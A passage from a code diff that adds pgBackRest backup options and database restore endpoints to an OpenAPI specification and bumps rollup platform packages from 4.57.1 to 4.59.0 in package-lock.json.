||||
"summary": "Restore Status",
|
||||
"description": "Get the status of a restore operation.",
|
||||
"operationId": "get-restore-status",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "uuid",
|
||||
"in": "path",
|
||||
"description": "UUID of the database.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"format": "uuid"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "restore_uuid",
|
||||
"in": "path",
|
||||
"description": "UUID of the restore operation.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Restore status",
|
||||
"content": {
|
||||
"application\/json": {
|
||||
"schema": {
|
||||
"type": "object"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"$ref": "#\/components\/responses\/401"
|
||||
},
|
||||
"404": {
|
||||
"$ref": "#\/components\/responses\/404"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"bearerAuth": []
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"\/deployments": {
|
||||
"get": {
|
||||
"tags": [
|
||||
|
|
|
|||
164
openapi.yaml
164
openapi.yaml
|
|
@ -2499,6 +2499,30 @@ paths:
|
|||
database_backup_retention_max_storage_s3:
|
||||
type: integer
|
||||
description: 'Max storage (MB) for S3 backups'
|
||||
engine:
|
||||
type: string
|
||||
description: 'Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)'
|
||||
enum: [native, pgbackrest]
|
||||
default: native
|
||||
pgbackrest_backup_type:
|
||||
type: string
|
||||
description: 'pgBackRest backup type'
|
||||
enum: [full, diff, incr]
|
||||
pgbackrest_compress_type:
|
||||
type: string
|
||||
description: 'pgBackRest compression type'
|
||||
enum: [lz4, gzip, zstd, none]
|
||||
pgbackrest_compress_level:
|
||||
type: integer
|
||||
description: 'pgBackRest compression level (0-9)'
|
||||
pgbackrest_log_level:
|
||||
type: string
|
||||
description: 'pgBackRest log level'
|
||||
enum: ['off', error, warn, info, detail, debug, trace]
|
||||
pgbackrest_archive_mode:
|
||||
type: string
|
||||
description: 'pgBackRest archive mode for WAL archiving'
|
||||
enum: [standard, reduced, minimal]
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
|
|
@ -2887,6 +2911,29 @@ paths:
|
|||
database_backup_retention_max_storage_s3:
|
||||
type: integer
|
||||
description: 'Max storage of the backup in S3'
|
||||
engine:
|
||||
type: string
|
||||
description: 'Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)'
|
||||
enum: [native, pgbackrest]
|
||||
pgbackrest_backup_type:
|
||||
type: string
|
||||
description: 'pgBackRest backup type'
|
||||
enum: [full, diff, incr]
|
||||
pgbackrest_compress_type:
|
||||
type: string
|
||||
description: 'pgBackRest compression type'
|
||||
enum: [lz4, gzip, zstd, none]
|
||||
pgbackrest_compress_level:
|
||||
type: integer
|
||||
description: 'pgBackRest compression level (0-9)'
|
||||
pgbackrest_log_level:
|
||||
type: string
|
||||
description: 'pgBackRest log level'
|
||||
enum: ['off', error, warn, info, detail, debug, trace]
|
||||
pgbackrest_archive_mode:
|
||||
type: string
|
||||
description: 'pgBackRest archive mode for WAL archiving'
|
||||
enum: [standard, reduced, minimal]
|
||||
type: object
|
||||
responses:
|
||||
'200':
|
||||
|
|
@ -3857,6 +3904,123 @@ paths:
|
|||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/restore':
|
||||
post:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Restore Database'
|
||||
description: 'Restore a PostgreSQL database from a PgBackRest backup.'
|
||||
operationId: restore-database
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
requestBody:
|
||||
required: false
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
execution_uuid:
|
||||
description: 'UUID of backup execution to restore from (optional, uses latest if not specified)'
|
||||
type: string
|
||||
target_time:
|
||||
description: 'ISO 8601 timestamp for point-in-time recovery (optional)'
|
||||
type: string
|
||||
type: object
|
||||
responses:
|
||||
'200':
|
||||
description: 'Restore initiated'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
message: { type: string, example: 'Database restore initiated.' }
|
||||
restore_uuid: { type: string, example: abc123 }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/restores':
|
||||
get:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'List Restores'
|
||||
description: 'List all restore operations for a database.'
|
||||
operationId: list-database-restores
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
responses:
|
||||
'200':
|
||||
description: 'List of restores'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: array
|
||||
items:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/restores/{restore_uuid}':
|
||||
get:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Restore Status'
|
||||
description: 'Get the status of a restore operation.'
|
||||
operationId: get-restore-status
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
-
|
||||
name: restore_uuid
|
||||
in: path
|
||||
description: 'UUID of the restore operation.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Restore status'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
/deployments:
|
||||
get:
|
||||
tags:
|
||||
|
|
|
|||
266
package-lock.json
generated
266
package-lock.json
generated
|
|
@ -596,9 +596,9 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm-eabi": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz",
|
||||
"integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
|
||||
"integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -610,9 +610,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -624,9 +624,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -638,9 +638,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -652,9 +652,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -666,9 +666,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -680,9 +680,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz",
|
||||
"integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -694,9 +694,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz",
|
||||
"integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -708,9 +708,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -722,9 +722,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -736,9 +736,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
|
|
@ -750,9 +750,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
|
|
@ -764,9 +764,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
|
|
@ -778,9 +778,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
|
|
@ -792,9 +792,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
|
|
@ -806,9 +806,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
|
|
@ -820,9 +820,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-s390x-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
|
||||
"cpu": [
|
||||
"s390x"
|
||||
],
|
||||
|
|
@ -834,9 +834,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -848,9 +848,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -862,9 +862,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openbsd-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -876,9 +876,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openharmony-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -890,9 +890,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-arm64-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -904,9 +904,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-ia32-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
|
|
@ -918,9 +918,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -932,9 +932,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
|
||||
"cpu": [
|
||||
"x64"
